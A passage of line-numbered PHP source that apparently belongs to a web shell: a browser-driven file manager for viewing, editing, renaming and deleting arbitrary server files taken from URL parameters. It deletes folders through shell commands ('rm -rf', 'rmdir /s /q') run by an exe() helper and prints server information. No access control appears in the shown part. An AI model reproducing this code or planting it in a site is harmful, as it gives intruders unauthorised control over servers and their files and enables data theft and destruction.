name='foldername' style='width: 450px;' height='10'> 1642 <input type='submit' class='input' name='save' value='SUBMIT'> 1643 </form>"; 1644 } 1645 elseif($_GET['act'] === 'rename_folder') { 1646 if($_POST['save']) { 1647 $rename_folder = rename(path(), "".dirname(path()).DIRECTORY_SEPARATOR.htmlspecialchars($_POST['foldername'])); 1648 if($rename_folder) { 1649 $act = "<script>window.location='?dir=".dirname(path())."';</script>"; 1650 } 1651 else { 1652 $act = color(1, 1, "Permission Denied!"); 1653 } 1654 print "$act<br>"; 1655 } 1656 print "<form method='post'> 1657 <input type='text' value='".basename(path())."' name='foldername' style='width: 450px;' height='10'> 1658 <input type='submit' class='input' name='save' value='RENAME'> 1659 </form>"; 1660 } 1661 elseif($_GET['act'] === 'delete_folder') { 1662 if(is_dir(path())) { 1663 if(is_writable(path())) { 1664 @rmdir(path()); 1665 if(!@rmdir(path()) AND OS() === "Linux") @exe("rm -rf ".path()); 1666 if(!@rmdir(path()) AND OS() === "Windows") @exe("rmdir /s /q ".path()); 1667 $act = "<script>window.location='?dir=".dirname(path())."';</script>"; 1668 } 1669 else { 1670 $act = color(1, 1, "Could not remove directory '".basename(path())."'"); 1671 } 1672 } 1673 print $act; 1674 } 1675 elseif($_GET['act'] === 'view') { 1676 print "Filename: ".color(1, 2, basename($_GET['file']))." [".writeable($_GET['file'], perms($_GET['file']))."]<br>"; 1677 print "[ <a href='?act=view&dir=".path()."&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=".path()."&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=".path()."&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=".path()."&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=".path()."&file=".$_GET['file']."'>delete</a> ]<br>"; 1678 print "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>"; 1679 } 1680 elseif($_GET['act'] === 'edit') { 1681 if($_POST['save']) { 1682 $save = file_put_contents($_GET['file'], $_POST['src']); 1683 if($save) { 1684 $act = color(1, 2, "File Saved!"); 1685 } 1686 else { 1687 $act = color(1, 1, "Permission Denied!"); 1688 } 1689 print "$act<br>"; 1690 } 1691 print "Filename: ".color(1, 2, basename($_GET['file']))." [".writeable($_GET['file'], perms($_GET['file']))."]<br>"; 1692 print "[ <a href='?act=view&dir=".path()."&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=".path()."&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=".path()."&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=".path()."&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=".path()."&file=".$_GET['file']."'>delete</a> ]<br>"; 1693 print "<form method='post'> 1694 <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br> 1695 <input type='submit' class='input' value='SAVE' name='save' style='width: 500px;'> 1696 </form>"; 1697 } 1698 elseif($_GET['act'] === 'rename') { 1699 if($_POST['save']) { 1700 $rename = rename($_GET['file'], path().DIRECTORY_SEPARATOR.htmlspecialchars($_POST['filename'])); 1701 if($rename) { 1702 $act = "<script>window.location='?dir=".path()."';</script>"; 1703 } 1704 else { 1705 $act = color(1, 1, "Permission Denied!"); 1706 } 1707 print "$act<br>"; 1708 } 1709 print "Filename: ".color(1, 2, basename($_GET['file']))." [".writeable($_GET['file'], perms($_GET['file']))."]<br>"; 1710 print "[ <a href='?act=view&dir=".path()."&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=".path()."&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=".path()."&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=".path()."&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=".path()."&file=".$_GET['file']."'>delete</a> ]<br>"; 1711 print "<form method='post'> 1712 <input type='text' value='".basename($_GET['file'])."' name='filename' style='width: 450px;' height='10'> 1713 <input type='submit' class='input' name='save' value='RENAME'> 1714 </form>"; 1715 } 1716 elseif($_GET['act'] === 'delete') { 1717 $delete = unlink($_GET['file']); 1718 if($delete) { 1719 $act = "<script>window.location='?dir=".path()."';</script>"; 1720 } 1721 else { 1722 $act = color(1, 1, "Permission Denied!"); 1723 } 1724 print $act; 1725 } 1726 } 1727 else { 1728 files_and_folder(); 1729 } 1730 } 1731 serverinfo(); 1732 action(); 1733 ?> 1734 </body> 1735 </html>